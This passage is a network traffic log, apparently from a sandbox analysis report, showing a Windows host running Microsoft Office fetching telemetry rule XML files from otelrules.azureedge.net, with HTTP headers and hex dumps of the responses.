2024-10-26 11:45:35 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49877	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-16849878b78wc6ln1zsrz6q9w800000001r00000000033bx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49879	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:35 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 12d17a45-e01e-0051-1e28-2684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-r197bdfb6b4g24ztpxkw4umce800000003cg000000008yxt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49880	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 5c7ff8c8-901e-0067-7201-27b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-r197bdfb6b4grkz4xgvkar0zcs00000001ng0000000017tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49881	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:35 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:35 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 366b13b4-c01e-0082-1a80-26af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114535Z-16849878b78q4pnrt955f8nkx80000000agg00000000951t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49882	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b78q9m8bqvwuva4svc00000000g0000000001uep x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49883	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 10ca92f3-d01e-008e-1b31-22387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b78hh85qc40uyr8sc80000000290000000005y4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49884	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	564	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: c98fb8e8-801e-0067-4a9c-27fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-17c5cb586f69w69mgazyf263an0000000170000000000e5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49885	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:36 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b786lft2mu9uftf3y400000003a0000000001yhy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49886	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 9175bbc6-101e-0028-0656-238f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-r197bdfb6b4skzzvqpzzd3xetg000000019g000000006egz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49887	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:36 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:36 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: c53c8a19-f01e-0096-07f7-2110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114536Z-16849878b78q4pnrt955f8nkx80000000agg00000000952m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49888	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-r197bdfb6b4b4pw6nr8czsrctg00000002hg000000007h9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
